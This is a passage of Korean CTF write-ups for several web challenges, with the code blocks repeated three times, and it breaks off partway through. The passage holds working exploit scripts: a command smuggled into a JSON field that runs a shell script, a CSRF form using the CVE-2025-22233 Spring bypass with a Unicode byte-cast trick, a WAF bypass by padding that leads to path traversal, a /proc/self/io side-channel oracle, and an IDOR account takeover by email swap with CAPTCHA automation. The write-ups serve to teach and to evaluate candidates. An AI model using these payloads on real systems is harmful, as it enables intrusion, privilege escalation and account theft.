        "saved_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
    }
    agent["commands"] = [
        pend(1, "save", "./agent-registration.json", json.dumps(data)),
        pend(2, "aaaa"),
    ]
    push_agents(sh, key, agent)
    time.sleep(4)

    data["poll_interval_ms"] = "PWD[$(bash${IFS}/tmp/shell.sh${IFS}$(cat${IFS}/flag.txt))]"
    agent["commands"][0]["keys"] = json.dumps(data)
    push_agents(sh, key, agent)
    time.sleep(4)

    flag2 = json.loads(sh("cat /app/enki-data/agents.json"))[key]["commands"][1]["error"]
    print(sh("cat /etc/hosts"))
    print(f"second flag:{flag2}")
    print(f"flag:{flag + flag2}")

if __name__ == "__main__":
    run_attack()

종합평

본 문제는 기술적 취약점(Path Traversal, CAPTCHA 우회)보다 비즈니스 로직 취약점(이메일 스왑을 통한 계정 탈취)에 중점을 둔 실전형 문제입니다. 다단계 인증(OTP)과 클라이언트 측 암호화(AES-GCM)가 적용되어 있어 보안 수준이 높아 보이지만, 이메일 변경 API의 권한 검증 부재라는 단일 논리적 결함이 전체 인증 체계를 무력화시킬 수 있음을 보여줍니다. 실무에서 암호화 통신이나 MFA만으로 안전하다고 판단하지 않고, 각 API의 비즈니스 로직에 대한 권한 검증을 반드시 수행해야 한다는 교훈을 제공합니다.

본 문제는 실무에서 마주치는 케이스들을 활용해 만든 문제로, 참가자들에게 다음과 같이

  • 클라이언트가 주어져 있을 때, 웹해커라도 IDA MCP와 같이 AI를 활용한 리버싱을 할 줄 알아야하고

  • 적절한 게싱을통해 쉘을 획득할 수 있어야하며

  • CVE-2026-1731와 같이 최신 이슈에 민감하고

  • 서버의 반응을 통해 외부통신이 안되고 유틸리티가 없는 서버에서 여러 방법으로 데이터를 유출할 수 있는 실무에 적합한 능력을 요구하며, 채용 CTF에 취지에 맞게 실무에서 고민되는 케이스들을 문제를 통해 해결하며 실무에 녹아들 수 교훈을 제공합니다.

leakage

취약점 구분

HTML Injection, Cross-Site Request Forgery (CSRF), Spring Data Binding 우회 (CVE-2025-22233), Unicode 디코딩 트릭

출제 의도

본 문제는 Spring Boot 기반 웹 애플리케이션에서 발생할 수 있는 다단계 취약점 체인을 구성하는 능력을 평가하기 위해 출제되었습니다. 단순한 단일 취약점 공격이 아닌, 여러 보안 메커니즘을 단계적으로 우회하여 최종 목표(관리자 권한 획득)에 도달하는 과정을 검증합니다.

  1. JavaScript 코드 인젝션: console.log()에 반영되는 사용자 이름을 통해 클라이언트 측 코드를 실행할 수 있는지 식별합니다.

  2. HTML Injection + CSRF 조합: 메모 기능의 HTML Injection을 활용하여, 봇(관리자)의 권한으로 프로필 업데이트 요청을 전송하는 CSRF 공격을 수행할 수 있는지 평가합니다.

  3. CVE-2025-22233 및 Unicode 기반 필터 우회: Spring의 setDisallowedFields 보호와 서버 측 문자열 필터링을 동시에 우회하는 고급 기법을 적용할 수 있는지 검증합니다.

풀이

1. 서비스 구조 파악

제공된 소스코드를 분석하면, 다음과 같은 구성을 확인할 수 있습니다.

  • Spring Boot 웹 애플리케이션 (포트 8080): 사용자 등록, 프로필 관리, 메모 작성/조회 기능 제공

  • Bot 서비스 (Puppeteer, 포트 3000): 관리자 계정으로 로그인한 뒤, 사용자가 지정한 메모 경로를 방문

봇은 관리자 계정으로 로그인하여 메모를 조회하므로, CSRF 공격의 대상이 됩니다.

2. JavaScript 코드 인젝션 경로 발견

/profile 페이지에 접근하면 사용자의 이름이 console.log()로 출력됩니다. 이때 사용자 이름에 "(쌍따옴표)가 포함되어 있으면 이스케이프 처리 없이 삽입되어, JavaScript 코드 인젝션이 가능합니다.

단, 사용자 이름은 20자로 제한되어 있어 직접적인 공격 페이로드를 넣기 어렵습니다. 이를 다른 기능과 조합하여 활용해야 합니다.

사용자 이름을 다음과 같이 설정합니다.

이 이름이 console.log("..."); 안에 삽입되면 다음과 같은 코드가 실행됩니다.

console.log("");top.a.submit()//");
console.log("");top.a.submit()//");
console.log("");top.a.submit()//");

top.a.submit()은 부모 프레임에 있는 id=a인 폼을 제출합니다.

3. HTML Injection을 통한 CSRF 구성

메모 기능에서 하위 메모(child memo)에 HTML Injection이 가능합니다. 이를 활용하여 CSRF 공격을 위한 HTML 폼을 구성합니다.

<form id=a action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>
<form id=a action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>
<form id=a action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>

이 구조의 동작 방식은 다음과 같습니다.

  1. 봇이 하위 메모를 조회하면, HTML 폼과 iframe이 렌더링됩니다.

  2. iframe이 /profile/{userid}를 로드하면서, 프로필 페이지의 console.log()에서 코드 인젝션이 실행됩니다.

  3. top.a.submit()이 호출되어, 상위 프레임의 <form id=a>가 제출됩니다.

  4. 관리자 세션으로 프로필 업데이트 요청이 전송되어, 권한 필드(isPerm)가 변경됩니다.

4. CVE-2025-22233 — Spring setDisallowedFields 우회

프로필 업데이트 시 권한 필드인 isPerm은 Spring의 binder.setDisallowedFields("isPerm")으로 보호되어 있어, 일반적으로는 바인딩이 차단됩니다.

CVE-2025-22233setDisallowedFields의 필드 이름 매칭 로직에서 대소문자 처리 불일치를 악용하는 취약점입니다. 필드 이름의 첫 글자를 대문자로 변경한 İsPerm(터키어 대문자 I: İ, U+0130)을 사용하면, setDisallowedFields 검사를 우회하면서도 Spring의 프로퍼티 바인딩에서는 isPerm 필드에 정상적으로 매핑됩니다.

5. Byte 캐스팅를 이용한 필터 우회

isPerm 필드의 값이 업데이트되더라도, 서버 측에서 추가 필터링이 수행됩니다.

String IsPerm = form.getIsPerm();
IsPerm = IsPerm.replaceAll("(?i)[admin]|[4-7]", "");
if (IsPerm.contains("%")) {
    IsPerm = UriUtils.decode(IsPerm, StandardCharsets.UTF_8);
}
nextIsPerm = (IsPerm == null || IsPerm.trim().isEmpty()) ? "user" : IsPerm.trim();
String IsPerm = form.getIsPerm();
IsPerm = IsPerm.replaceAll("(?i)[admin]|[4-7]", "");
if (IsPerm.contains("%")) {
    IsPerm = UriUtils.decode(IsPerm, StandardCharsets.UTF_8);
}
nextIsPerm = (IsPerm == null || IsPerm.trim().isEmpty()) ? "user" : IsPerm.trim();
String IsPerm = form.getIsPerm();
IsPerm = IsPerm.replaceAll("(?i)[admin]|[4-7]", "");
if (IsPerm.contains("%")) {
    IsPerm = UriUtils.decode(IsPerm, StandardCharsets.UTF_8);
}
nextIsPerm = (IsPerm == null || IsPerm.trim().isEmpty()) ? "user" : IsPerm.trim();

admin 문자열이 직접 포함되면 필터에 의해 제거됩니다. 이를 우회하기 위해 Spring의 UriUtils.decode() (Spring 6.2.9 이하)의 바이트 오버플로우 동작을 활용합니다.

UriUtils.decode()는 내부적으로 ByteArrayOutputStream.write(int b)를 사용하며, 이 메서드는 입력을 byte 타입으로 캐스팅합니다. Java의 char(16비트)가 byte(8비트)로 변환될 때, 하위 1바이트만 남게 됩니다.

이 특성을 활용한 매핑은 다음과 같습니다.

입력 문자

코드 포인트

하위 바이트

디코딩 결과

U+2661

0x61

a

U+2664

0x64

d

U+266D

0x6D

m

U+2669

0x69

i

U+266E

0x6E

n

따라서 ♡♤♭♩♮를 입력하면 replaceAll 필터를 통과한 뒤, UriUtils.decode()에 의해 admin으로 변환됩니다. 단, UriUtils.decode()% 문자가 포함되어 있지 않으면 디코딩을 수행하지 않으므로(changed 플래그가 false), 페이로드에 %20을 추가하여 디코딩이 실행되도록 합니다.

6. 익스플로잇 실행

위 과정을 자동화한 익스플로잇은 다음과 같습니다.

rand = random.choice(string.ascii_letters) + random.choice(string.ascii_letters)
username = f'");top.{rand}.submit()//'

# 회원가입
res = req.post(chall_url + "/register",
    data={"username": username, "email": f"{username}@test.com", "password": "security12!@"},
    allow_redirects=False)
userid = int(re.search(r"/profile/(\\d+)", res.headers["Location"]).group(1))

# 상위 메모 생성
p_memo = req.post(chall_url + "/memo/create",
    json={"content": "123", "title": "123", "userid": userid})
p_memo_id = p_memo.json()["memo"]["id"]

# 하위 메모에 CSRF 폼 삽입
c_memo = req.post(chall_url + "/memo/create",
    json={
        "content": f"""<form id={rand} action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>""",
        "title": "123", "userid": userid, "parentMemoId": p_memo_id
    })
c_memo_id = c_memo.json()["memo"]["id"]

# 봇에게 메모 방문 요청
req.post(report_url + "/visit", data={"path": f"{p_memo_id}/{c_memo_id}"})

# 관리자 권한 획득 후 플래그 조회
FLAG = req.get(chall_url + "/admin/flag",
    headers={"host": "127.0.0.1"}, cookies=sess).json()["flag"]
rand = random.choice(string.ascii_letters) + random.choice(string.ascii_letters)
username = f'");top.{rand}.submit()//'

# 회원가입
res = req.post(chall_url + "/register",
    data={"username": username, "email": f"{username}@test.com", "password": "security12!@"},
    allow_redirects=False)
userid = int(re.search(r"/profile/(\\d+)", res.headers["Location"]).group(1))

# 상위 메모 생성
p_memo = req.post(chall_url + "/memo/create",
    json={"content": "123", "title": "123", "userid": userid})
p_memo_id = p_memo.json()["memo"]["id"]

# 하위 메모에 CSRF 폼 삽입
c_memo = req.post(chall_url + "/memo/create",
    json={
        "content": f"""<form id={rand} action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>""",
        "title": "123", "userid": userid, "parentMemoId": p_memo_id
    })
c_memo_id = c_memo.json()["memo"]["id"]

# 봇에게 메모 방문 요청
req.post(report_url + "/visit", data={"path": f"{p_memo_id}/{c_memo_id}"})

# 관리자 권한 획득 후 플래그 조회
FLAG = req.get(chall_url + "/admin/flag",
    headers={"host": "127.0.0.1"}, cookies=sess).json()["flag"]
rand = random.choice(string.ascii_letters) + random.choice(string.ascii_letters)
username = f'");top.{rand}.submit()//'

# 회원가입
res = req.post(chall_url + "/register",
    data={"username": username, "email": f"{username}@test.com", "password": "security12!@"},
    allow_redirects=False)
userid = int(re.search(r"/profile/(\\d+)", res.headers["Location"]).group(1))

# 상위 메모 생성
p_memo = req.post(chall_url + "/memo/create",
    json={"content": "123", "title": "123", "userid": userid})
p_memo_id = p_memo.json()["memo"]["id"]

# 하위 메모에 CSRF 폼 삽입
c_memo = req.post(chall_url + "/memo/create",
    json={
        "content": f"""<form id={rand} action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>""",
        "title": "123", "userid": userid, "parentMemoId": p_memo_id
    })
c_memo_id = c_memo.json()["memo"]["id"]

# 봇에게 메모 방문 요청
req.post(report_url + "/visit", data={"path": f"{p_memo_id}/{c_memo_id}"})

# 관리자 권한 획득 후 플래그 조회
FLAG = req.get(chall_url + "/admin/flag",
    headers={"host": "127.0.0.1"}, cookies=sess).json()["flag"]

관리자 권한을 획득한 뒤, Host 헤더를 localhost 또는 127.0.0.1로 설정하여 /admin/flag 엔드포인트에 접근하면 플래그 ENKI{48869ff73110ac17ccf68fe88f1e5f40f3f2d86fb2127f142444c2b3f2d36856}를 획득할 수 있습니다.

종합평

본 문제는 HTML Injection, CSRF, Spring Data Binding 우회(CVE-2025-22233), Unicode 디코딩 트릭이라는 네 가지 기법을 유기적으로 연결해야 하는 고난도 문제입니다. 특히 Java의 byte 캐스팅을 이용한 필터 우회는 실무에서도 쉽게 간과할 수 있는 인코딩 관련 취약점의 위험성을 보여주며, Spring 프레임워크의 보안 메커니즘(setDisallowedFields)이 CVE를 통해 우회될 수 있다는 사실은 프레임워크 보안 업데이트의 중요성을 다시금 상기시켜 줍니다.

luck

문제 풀이를 위해 다음 플랫폼에 접속 및 토큰 인증 후 인스턴스를 발급받아주세요.

인스턴스 생성 : http://portal.luck.rctf.enki.co.kr/

취약점 구분

WAF Bypass, Path Traversal, SSRF (Server-Side Request Forgery), Side-Channel Attack (/proc/self/io)

출제 의도

본 문제는 소스코드가 제공되지 않는 블랙박스 환경에서, WAF(웹 방화벽) 우회부터 바이너리 리버싱, Side-Channel 공격까지 이어지는 다단계 복합 공격 체인을 구성하는 능력을 종합적으로 평가하기 위해 출제되었습니다.

  1. WAF 우회 기법: 부분 검사(partial inspection) 모드와 캐시 메커니즘을 분석하여, 대용량 요청을 통해 파라미터 검사를 우회하는 능력을 평가합니다.

  2. 파일 다운로드 취약점 활용: Path Traversal을 통해 서버 소스코드와 내부 바이너리를 유출하여 추가 공격 표면을 확보할 수 있는지 확인합니다.

  3. Side-Channel Attack: 직접적인 출력이 차단된 상황에서, /proc/self/iowchar 값 변화를 관찰하여 플래그를 한 글자씩 추출하는 고급 기법을 구현할 수 있는지 검증합니다.

풀이

1. 서비스 기능 탐색

블랙박스 환경에서 서비스에 접속하면, guest/guest123 계정으로 로그인할 수 있는 사내 게시판 형태의 서비스가 제공됩니다. 주요 기능은 다음과 같습니다.

  • 게시판 (/board): 게시글 목록 조회, 개별 게시글 조회, 첨부파일 다운로드

  • 파일 다운로드 (/board/download): FileName 또는 FileID 파라미터로 파일 다운로드

  • 도구 모음 (/tools): 계산기(/api/calc), QR 코드 생성(/api/qr), 링크 미리보기(/api/link-preview)

  • 메모 (/memo): 메모 작성 및 조회

  • Back-Office 터미널 (/back-office-terminal.html): 웹 터미널 UI로, back-office 서비스에 TCP 연결

2. 1단계 — WAF 우회를 통한 Path Traversal

파일 다운로드 기능(/board/download?FileName=)에 Path Traversal 취약점이 존재하지만, 서버 측 필터는 ./.\\ 패턴만 제거하며 ../는 차단하지 않습니다. 그러나 WAF에서 ../ 패턴을 탐지하여 차단합니다.

WAF의 동작을 분석하면 다음과 같은 특성이 발견됩니다.

  • 검사를 통과한 요청의 IP:URI 조합을 캐시에 저장 (TTL 약 2000ms)

  • 대용량 요청(>4MB)은 캐시가 없으면 무조건 차단

  • 캐시가 존재하면 부분 검사(partial inspection) 모드로 전환: inspection budget(4MB)까지만 파라미터를 검사하고 나머지는 건너뜀

이 특성을 활용한 WAF 우회 절차는 다음과 같습니다.

  1. 정상적인 요청을 /board/download에 보내 WAF 캐시를 워밍합니다.

  2. 캐시 TTL(2000ms) 이내에 4MB 이상의 POST 요청을 전송합니다. 이때 앞쪽에 4MB 이상의 패딩 파라미터를 배치하고, 그 뒤에 FileName 파라미터를 배치합니다.

  3. WAF는 캐시 히트로 부분 검사 모드에 진입하며, 패딩이 inspection budget을 소진합니다.

  4. budget이 소진되면 뒤에 위치한 FileName../ 패턴은 검사되지 않고 통과됩니다.

PAD_COUNT = 1024
PAD_SIZE = 4000
target = "...//...//...//...//...//...//...//...//...//proc/self/fd/4"

mal_tuples = [(f"pad{i}", "A" * PAD_SIZE) for i in range(PAD_COUNT)]
mal_tuples.append(("FileName", target))
mal_body = urlencode(mal_tuples).encode()
PAD_COUNT = 1024
PAD_SIZE = 4000
target = "...//...//...//...//...//...//...//...//...//proc/self/fd/4"

mal_tuples = [(f"pad{i}", "A" * PAD_SIZE) for i in range(PAD_COUNT)]
mal_tuples.append(("FileName", target))
mal_body = urlencode(mal_tuples).encode()
PAD_COUNT = 1024
PAD_SIZE = 4000
target = "...//...//...//...//...//...//...//...//...//proc/self/fd/4"

mal_tuples = [(f"pad{i}", "A" * PAD_SIZE) for i in range(PAD_COUNT)]
mal_tuples.append(("FileName", target))
mal_body = urlencode(mal_tuples).encode()

서버 측에서 ...//./가 제거되어 ../로 변환되므로, 이중 인코딩 기법을 통해 Path Traversal이 성공합니다. 캐시 워밍과 공격 요청을 병렬로 실행하여 성공률을 높입니다.

# 캐시 워머 스레드
def cache_warmer(wid):
    while not found.is_set():
        s.post(url, data={"FileID": "1"}, timeout=3)

# 공격 스레드
def attack(tid):
    res = s.post(url, data=mal_body,
        headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=120)
    if res.status_code == 200 and b"Blocked" not in res.content[:500]:
        with open("a.bin", "wb") as f:
            f.write(res.content)
        found.set()
# 캐시 워머 스레드
def cache_warmer(wid):
    while not found.is_set():
        s.post(url, data={"FileID": "1"}, timeout=3)

# 공격 스레드
def attack(tid):
    res = s.post(url, data=mal_body,
        headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=120)
    if res.status_code == 200 and b"Blocked" not in res.content[:500]:
        with open("a.bin", "wb") as f:
            f.write(res.content)
        found.set()
# 캐시 워머 스레드
def cache_warmer(wid):
    while not found.is_set():
        s.post(url, data={"FileID": "1"}, timeout=3)

# 공격 스레드
def attack(tid):
    res = s.post(url, data=mal_body,
        headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=120)
    if res.status_code == 200 and b"Blocked" not in res.content[:500]:
        with open("a.bin", "wb") as f:
            f.write(res.content)
        found.set()

/proc/self/fd/4를 통해 웹 서버의 소스코드(JAR 파일)를 다운로드할 수 있습니다.

3. 내부 정보 수집

획득한 소스코드를 분석하면, /api/link-preview를 통한 내부망 요청(SSRF)과 /api/test 엔드포인트를 통한 디렉터리 리스팅이 가능함을 알 수 있습니다.

Path Traversal을 활용하여 추가 파일들을 수집합니다.

  • /home/chall/.bash_history: 서버 환경 정보 (back-office 바이너리 경로 등)

  • /opt/backoffice/back-office_3ab1542105c9b5aa758c35407db2bfe8: back-office Rust 바이너리

  • /opt/backoffice/Dockerfile: 플래그 파일이 /app/flag.txt에 위치함을 확인

4. 2단계 — Back-Office 바이너리 리버싱

다운로드한 back-office 바이너리(Rust로 작성)를 리버싱하면 다음과 같은 동작을 확인할 수 있습니다.




핵심적인 제약은, 플래그가 포함된 줄(ENKI{...})은 stdout이 아닌 /dev/null로 리다이렉트되어 직접 읽을 수 없다는 점입니다. 이를 우회하기 위해 Side-Channel Attack을 수행합니다.

5. 3단계 — Side-Channel Attack을 통한 플래그 추출

/dev/null에 쓰여진 데이터의 양은 /proc/self/iowchar(written characters) 값을 통해 간접적으로 관찰할 수 있습니다. 패턴이 플래그와 매칭되면 해당 줄이 /dev/null에 쓰이므로 wchar 증가량이 달라집니다. 이를 오라클로 활용합니다.

공격 알고리즘:

  1. 기준값 측정: 빈 패턴("")으로 N번(70회) 반복 실행한 후 wchar 변화량을 측정하여 임계값(threshold, 약 3000)을 설정합니다.

  2. 유효 문자 필터링: 플래그에 포함될 수 있는 각 문자를 단독으로 테스트하여, wchar 증가량이 임계값을 초과하는 문자만 후보로 남깁니다.

  3. 한 글자씩 Brute-Force: 현재까지의 prefix(ENKI{ + 확정된 문자)에 각 후보 문자를 붙여 테스트합니다. wchar 증가량이 임계값을 초과하면 해당 문자가 정답입니다.

  4. } 문자가 발견될 때까지 반복합니다.

def finnn(n, payload):
    r = nc()  # 새 세션 생성
    _, wchar = get_wchar(r)
    for _ in range(n):
        send_flag(r, "")  # N번 빈 요청으로 노이즈 축적
    send_flag(r, payload)  # 실제 패턴 전송
    _, wchar1 = get_wchar(r)
    cleanup(r)
    return wchar1 - wchar

# 한 글자씩 brute-force
flag = "ENKI{"
for pos in range(100):
    with ThreadPoolExecutor(max_workers=WORKERS) as pool:
        futures = {pool.submit(finnn, wchar_int, flag + c): c for c in fin}
        for future in as_completed(futures):
            c = futures[future]
            diff = future.result()
            if diff > wchar_over:
                flag += c
                if c == '}':
                    print(f"[FLAG]{flag}")
                    exit()
                break
def finnn(n, payload):
    r = nc()  # 새 세션 생성
    _, wchar = get_wchar(r)
    for _ in range(n):
        send_flag(r, "")  # N번 빈 요청으로 노이즈 축적
    send_flag(r, payload)  # 실제 패턴 전송
    _, wchar1 = get_wchar(r)
    cleanup(r)
    return wchar1 - wchar

# 한 글자씩 brute-force
flag = "ENKI{"
for pos in range(100):
    with ThreadPoolExecutor(max_workers=WORKERS) as pool:
        futures = {pool.submit(finnn, wchar_int, flag + c): c for c in fin}
        for future in as_completed(futures):
            c = futures[future]
            diff = future.result()
            if diff > wchar_over:
                flag += c
                if c == '}':
                    print(f"[FLAG]{flag}")
                    exit()
                break
def finnn(n, payload):
    r = nc()  # 새 세션 생성
    _, wchar = get_wchar(r)
    for _ in range(n):
        send_flag(r, "")  # N번 빈 요청으로 노이즈 축적
    send_flag(r, payload)  # 실제 패턴 전송
    _, wchar1 = get_wchar(r)
    cleanup(r)
    return wchar1 - wchar

# 한 글자씩 brute-force
flag = "ENKI{"
for pos in range(100):
    with ThreadPoolExecutor(max_workers=WORKERS) as pool:
        futures = {pool.submit(finnn, wchar_int, flag + c): c for c in fin}
        for future in as_completed(futures):
            c = futures[future]
            diff = future.result()
            if diff > wchar_over:
                flag += c
                if c == '}':
                    print(f"[FLAG]{flag}")
                    exit()
                break

병렬 처리를 적용하여 각 위치의 후보 문자를 동시에 테스트함으로써 공격 속도를 향상시킵니다. 최종적으로 플래그 ENKI{h3110_and_wE1C0ME_EnK1}를 획득할 수 있습니다.

종합평

본 문제는 WAF 우회, Path Traversal, 바이너리 리버싱, Side-Channel Attack이라는 네 단계의 기술을 연쇄적으로 요구하는 고난도 문제입니다. 특히 WAF의 부분 검사 모드를 활용한 우회 기법은 실제 보안 장비의 성능 제약을 공격에 활용하는 좋은 사례이며, /proc/self/io를 통한 Side-Channel Attack은 직접적인 데이터 유출이 차단된 환경에서도 정보를 추출할 수 있다는 점을 보여주는 실전적 테크닉입니다. 방어 관점에서는 WAF에만 의존하지 않고 애플리케이션 수준의 입력 검증을 강화해야 함을 시사합니다.

Partner Contract Portal

We have opened a secure partner contract portal for partner agreements.

$ which

$ which

$ which

문제 풀이를 위해 다음 플랫폼에 접속 및 토큰 인증 후 인스턴스를 발급받아주세요.

인스턴스 생성 : http://portal.partner.rctf.enki.co.kr/

취약점 구분

CAPTCHA Bypass, IDOR (Insecure Direct Object Reference), 비즈니스 로직 취약점 (이메일 스왑을 통한 계정 탈취), 암호화 로직 분석, Path Traversal

출제 의도

본 문제는 소스코드가 제공되지 않는 블랙박스 환경에서, 실무에서 자주 마주치는 비즈니스 로직 취약점을 탐지하고 연쇄적으로 악용하여 최고 권한의 계정을 탈취하는 능력을 평가하기 위해 출제되었습니다.

  1. 비즈니스 로직 분석: 다단계 인증(OTP) 및 암호화 통신이 적용된 환경에서, 이메일 변경과 비밀번호 초기화 흐름의 논리적 결함을 찾아낼 수 있는지 확인합니다.

  2. 클라이언트 측 암호화 분석: 프론트엔드에 구현된 AES-GCM 암호화 로직을 분석하고 재현하여, 보안 API에 정상적인 요청을 구성할 수 있는지 평가합니다.

  3. 단계적 권한 상승: 일반 사용자 → 내부 직원 권한(internal_ops) → 내부 관리자 권한(internal_admin)로의 권한 상승 체인을 구성할 수 있는지 검증합니다.

풀이

본 문제는 총 11단계의 순차적 공격으로 구성됩니다. 각 단계를 상세히 설명합니다.

STEP 1. 회원가입

서비스에 접속하면 파트너 계약 포탈이 제공됩니다. 먼저 회원가입을 수행합니다. 비밀번호는 대문자, 소문자, 특수문자, 숫자를 모두 포함하고 10자 이상이어야 합니다.

회원가입 시 CAPTCHA(퍼즐형 인증)를 통과해야 합니다. CAPTCHA는 퍼즐 조각을 올바른 위치로 슬라이드하는 방식으로, SVG 이미지에서 슬롯 위치를 파싱하여 자동으로 풀 수 있습니다.

# CAPTCHA 자동 풀이: SVG에서 슬롯 위치 추출
svg_b64 = ch['puzzle']['boardImageDataUrl'].split(',')[1]
svg = base64.b64decode(svg_b64).decode()
match = re.search(r'slotMask.*?<path\\s+d="M\\s+(\\d+)\\s+(\\d+)', svg, re.DOTALL)
slot_x = int(match.group(1))
answer = slot_x - start_x - piece_offset
# CAPTCHA 자동 풀이: SVG에서 슬롯 위치 추출
svg_b64 = ch['puzzle']['boardImageDataUrl'].split(',')[1]
svg = base64.b64decode(svg_b64).decode()
match = re.search(r'slotMask.*?<path\\s+d="M\\s+(\\d+)\\s+(\\d+)', svg, re.DOTALL)
slot_x = int(match.group(1))
answer = slot_x - start_x - piece_offset
# CAPTCHA 자동 풀이: SVG에서 슬롯 위치 추출
svg_b64 = ch['puzzle']['boardImageDataUrl'].split(',')[1]
svg = base64.b64decode(svg_b64).decode()
match = re.search(r'slotMask.*?<path\\s+d="M\\s+(\\d+)\\s+(\\d+)', svg, re.DOTALL)
slot_x = int(match.group(1))
answer = slot_x - start_x - piece_offset

회원가입이 완료되면 JWT 토큰, OTP 등록 키, 사용자 ID, 회사 ID, 사용자 키 시드가 반환됩니다.

STEP 2. OTP 등록

발급받은 OTP 시크릿 키를 TOTP 알고리즘으로 등록합니다. 이후 모든 인증 과정에서 OTP가 요구됩니다.

totp = pyotp.TOTP(otpkey)
otp_code = totp.now()
totp = pyotp.TOTP(otpkey)
otp_code = totp.now()
totp = pyotp.TOTP(otpkey)
otp_code = totp.now()

STEP 3. internal_ops 권한 계정 정보 수집

공지사항 API(/api/notices)의 응답에 작성자의 userId와 companyId가 노출됩니다. 이를 통해 내부 직원(internal_ops)계정의 식별 정보를 수집합니다.

ch = curl_json('GET', f'{url}/api/notices?limit=1',
    headers={"Authorization": f"Bearer{jwttoken}"})
ops_companyid = ch[0]['company_id']
ops_userid = ch[0]['created_by']
ch = curl_json('GET', f'{url}/api/notices?limit=1',
    headers={"Authorization": f"Bearer{jwttoken}"})
ops_companyid = ch[0]['company_id']
ops_userid = ch[0]['created_by']
ch = curl_json('GET', f'{url}/api/notices?limit=1',
    headers={"Authorization": f"Bearer{jwttoken}"})
ops_companyid = ch[0]['company_id']
ops_userid = ch[0]['created_by']

STEP 4. 이메일 스왑을 통한 internal_ops 권한 계정 탈취

본 문제의 핵심 취약점은 숨겨진 이메일 변경 API에 있습니다. /api/auth/secure/users/redacted 요청에서 email 관련 키워드와 role 변경 API 형태를 통해 /api/auth/secure/users/email 엔드포인트을 찾습니다. email 변경 API는 AES-GCM으로 암호화된 요청을 받으며, 요청 본문에 포함된 userIdcompanyId에 해당하는 임의 사용자의 이메일을 변경할 수 있습니다.

먼저 프론트엔드의 암호화 로직을 분석합니다. AES-256-GCM 암호화에 사용되는 키는 PBKDF2-SHA256으로 유도되며, AAD(Additional Authenticated Data)에는 요청 메서드, 경로, 사용자 ID가 포함됩니다.

def make_secure_raw(path, method, user_id, user_key_seed, json_data):
    key = derive_key("public-passphrase-v1", "public-salt-v1", user_key_seed)
    iv = os.urandom(12)
    aad = f"{method}:{normalize_aad_path(path)}:{user_id}".encode("utf-8")
    plaintext = json.dumps(json_data, separators=(",", ":")).encode("utf-8")
    aesgcm = AESGCM(key)
    encrypted = aesgcm.encrypt(iv, plaintext, aad)
    # ... 헤더/바디 구성 ...
    return f"v1.{h_b64}.{b_b64}"
def make_secure_raw(path, method, user_id, user_key_seed, json_data):
    key = derive_key("public-passphrase-v1", "public-salt-v1", user_key_seed)
    iv = os.urandom(12)
    aad = f"{method}:{normalize_aad_path(path)}:{user_id}".encode("utf-8")
    plaintext = json.dumps(json_data, separators=(",", ":")).encode("utf-8")
    aesgcm = AESGCM(key)
    encrypted = aesgcm.encrypt(iv, plaintext, aad)
    # ... 헤더/바디 구성 ...
    return f"v1.{h_b64}.{b_b64}"
def make_secure_raw(path, method, user_id, user_key_seed, json_data):
    key = derive_key("public-passphrase-v1", "public-salt-v1", user_key_seed)
    iv = os.urandom(12)
    aad = f"{method}:{normalize_aad_path(path)}:{user_id}".encode("utf-8")
    plaintext = json.dumps(json_data, separators=(",", ":")).encode("utf-8")
    aesgcm = AESGCM(key)
    encrypted = aesgcm.encrypt(iv, plaintext, aad)
    # ... 헤더/바디 구성 ...
    return f"v1.{h_b64}.{b_b64}"

이메일 스왑 공격 절차는 다음과 같습니다.

  1. 자신의 이메일을 임시 주소로 변경: 기존 이메일을 해제합니다.

  2. contract_ops@enki.co.kr 이메일을 OTP를 등록한 자신의 이메일로 변경: 내부 직원 계정의 이메일이 공격자의 이메일로 설정됩니다.

# 자신의 이메일을 임시 주소로 변경
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': userid, "companyId": companyid, "email": "swap1234@qwer.com"})

# internal_ops 권한 계정의 이메일을 자신의 이메일로 변경
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': ops_userid, "companyId": ops_companyid, "email": email})
# 자신의 이메일을 임시 주소로 변경
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': userid, "companyId": companyid, "email": "swap1234@qwer.com"})

# internal_ops 권한 계정의 이메일을 자신의 이메일로 변경
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': ops_userid, "companyId": ops_companyid, "email": email})
# 자신의 이메일을 임시 주소로 변경
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': userid, "companyId": companyid, "email": "swap1234@qwer.com"})

# internal_ops 권한 계정의 이메일을 자신의 이메일로 변경
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': ops_userid, "companyId": ops_companyid, "email": email})

STEP 5. internal_ops 권한 계정 비밀번호 초기화

이제 내부 직원 계정의 이메일이 공격자의 이메일로 설정되어 있으므로, 비밀번호 초기화 기능을 사용할 수 있습니다. OTP 인증과 함께 비밀번호 초기화를 요청하면 resetToken이 발급되며, 이를 사용하여 새 비밀번호를 설정합니다.

# OTP 인증으로 리셋 토큰 발급
ch = curl_json('POST', f'{url}/api/auth/password/reset/verify',
    data={"email": email, "otp": get_otp(otpkey)})
resetToken = ch['resetToken']

# 새 비밀번호 설정
curl_json('POST', f'{url}/api/auth/password/reset/complete',
    data={"resetToken": resetToken, "newPassword": password})
# OTP 인증으로 리셋 토큰 발급
ch = curl_json('POST', f'{url}/api/auth/password/reset/verify',
